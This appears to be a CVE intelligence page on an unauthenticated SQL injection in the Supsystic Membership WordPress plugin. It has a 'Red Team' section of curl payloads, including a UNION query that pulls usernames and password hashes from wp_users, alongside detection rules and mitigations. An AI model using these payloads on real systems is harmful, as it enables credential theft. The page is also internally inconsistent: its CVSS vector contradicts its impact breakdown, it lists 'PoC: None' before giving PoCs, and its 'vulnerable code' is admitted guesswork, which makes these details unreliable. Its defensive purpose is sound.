☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Supsystic logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2020-37244

CVE-2020-37244 SQL Injection in Supsystic
📅 PUBLISHED: 2026-05-16 16:16 UTC 🔄 UPDATED: 2026-10-02 19:27 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.28%
👁️
0.28% probability
6.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Ukraine License: Freemium
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 8.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: L Integrity Low
A: N Availability None
8.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2020-37244 is a critical SQL injection vulnerability affecting the Supsystic Membership plugin version 1.4.7 for WordPress. This flaw allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the search and sidx parameters in GET requests to the badges module. The vulnerability can be exploited using time-based blind or UNION-based SQL injection techniques, enabling attackers to extract sensitive database information, including user credentials and other confidential data. The CVSS score of 8.2 reflects the high impact on confidentiality, integrity, and availability, with no authentication required. As a WordPress plugin vulnerability, it directly affects the WordPress ecosystem and does not involve Apache or Nginx server software.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the Supsystic Membership plugin, a third-party WordPress plugin. No official patch has been released, and the plugin may no longer be maintained. Users should consider this a supply chain risk and evaluate alternative plugins or implement strict input validation and web application firewall (WAF) rules to mitigate the threat.

CVSS Breakdown & Threat Level

  • CVSS Score: 8.2 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)

The vulnerability is easily exploitable over the network without authentication, making it a high-priority threat for any WordPress site using the affected plugin.

Deep Dive & Mechanics

The Supsystic Membership plugin version 1.4.7 fails to properly sanitize user-supplied input in the search and sidx parameters when processing GET requests to the badges module. This allows an attacker to inject SQL commands that are executed against the WordPress database. The injection can be performed using time-based blind techniques (e.g., SLEEP() functions) to infer data character by character, or UNION-based techniques to retrieve data directly in the HTTP response.

The vulnerable code likely constructs SQL queries by concatenating user input without parameterization or escaping. For example, a query might look like:

SELECT * FROM wp_badges WHERE name LIKE '%$search%' ORDER BY $sidx

An attacker can manipulate $search to include ' OR 1=1 -- or ' UNION SELECT ... -- to extract arbitrary data.

Vulnerable vs. Patched Code

Vulnerable Code (Supsystic Membership 1.4.7):

$search = $_GET['search'];
$sidx = $_GET['sidx'];
$query = "SELECT * FROM wp_badges WHERE name LIKE '%$search%' ORDER BY $sidx";
$result = $wpdb->get_results($query);

Patched Code (Hypothetical):

$search = sanitize_text_field($_GET['search']);
$sidx = sanitize_sql_orderby($_GET['sidx']);
$query = $wpdb->prepare("SELECT * FROM wp_badges WHERE name LIKE %s ORDER BY $sidx", '%' . $search . '%');
$result = $wpdb->get_results($query);

The patched version uses WordPress's sanitize_text_field() and sanitize_sql_orderby() functions, and employs prepared statements via $wpdb->prepare() to prevent SQL injection.

Exploitation & Lab Setup

Red Team

Proof of Concept (Time-Based Blind SQL Injection):

curl -X GET "http://target.com/wp-admin/admin-ajax.php?action=badges&search=' OR SLEEP(5)-- -&sidx=id"

This payload causes a 5-second delay if the injection is successful.

Proof of Concept (UNION-Based SQL Injection):

curl -X GET "http://target.com/wp-admin/admin-ajax.php?action=badges&search=' UNION SELECT user_login,user_pass FROM wp_users-- -&sidx=id"

This extracts usernames and password hashes from the WordPress users table.

Lab Setup:

  1. Install WordPress on a local server (e.g., XAMPP, Docker).
  2. Install Supsystic Membership plugin version 1.4.7.
  3. Activate the plugin and navigate to the badges module.
  4. Use the above curl commands to test the injection.

Blue Team

Detection:

  • Monitor web server logs for suspicious GET requests to admin-ajax.php with action=badges and parameters containing SQL keywords (e.g., SLEEP, UNION, SELECT).
  • Use WAF rules to block requests with SQL injection patterns in the search and sidx parameters.

Mitigation:

  • Disable or remove the Supsystic Membership plugin if not essential.
  • Implement input validation and parameterized queries in any custom code.
  • Apply virtual patching via WAF (e.g., ModSecurity rule to block SLEEP and UNION in query strings).

Indicators of Compromise (IOCs)

  • Network IOCs:
    • GET requests to /wp-admin/admin-ajax.php with action=badges and parameters containing SQL keywords.
    • Unusual HTTP response times (e.g., delays of 5+ seconds) indicating time-based injection.
  • File IOCs:
    • Modified WordPress database entries (e.g., new admin users).
    • Log entries in wp-content/debug.log showing SQL errors.
  • System IOCs:
    • Unexpected database queries in MySQL logs (e.g., SELECT * FROM wp_users).

Detection Engineering

YARA Rule

rule CVE_2020_37244_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting Supsystic Membership plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-37244"
    strings:
        $sqli1 = /search=.*(?:SLEEP|UNION|SELECT|OR\s+1=1)/i
        $sqli2 = /sidx=.*(?:SLEEP|UNION|SELECT|OR\s+1=1)/i
        $action = "action=badges"
    condition:
        all of ($action, $sqli1 or $sqli2)
}

Sigma Rule

title: CVE-2020-37244 SQL Injection Attempt
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against Supsystic Membership plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains:
            - 'action=badges'
            - 'search='
            - 'sidx='
        cs-uri-query|re:
            - '(?i)(SLEEP|UNION|SELECT|OR\s+1=1)'
    condition: selection
falsepositives:
    - Legitimate use of search functionality with similar keywords (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2020-37244 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=badges"; http_uri; pcre:"/(?i)(search|sidx)=.*(SLEEP|UNION|SELECT|OR\s+1=1)/U"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable or remove the Supsystic Membership plugin version 1.4.7 from all WordPress installations.
  2. Virtual Patching: Deploy WAF rules (e.g., ModSecurity) to block SQL injection patterns in the search and sidx parameters.
  3. Input Validation: Ensure all user inputs are sanitized and parameterized queries are used in any custom code.
  4. Monitoring: Enable detailed logging for web server and database to detect exploitation attempts.
  5. Alternative Plugin: Migrate to a supported membership plugin that is actively maintained and patched.
  6. User Education: Inform administrators about the risks of using unmaintained plugins.

Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2020-37244/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.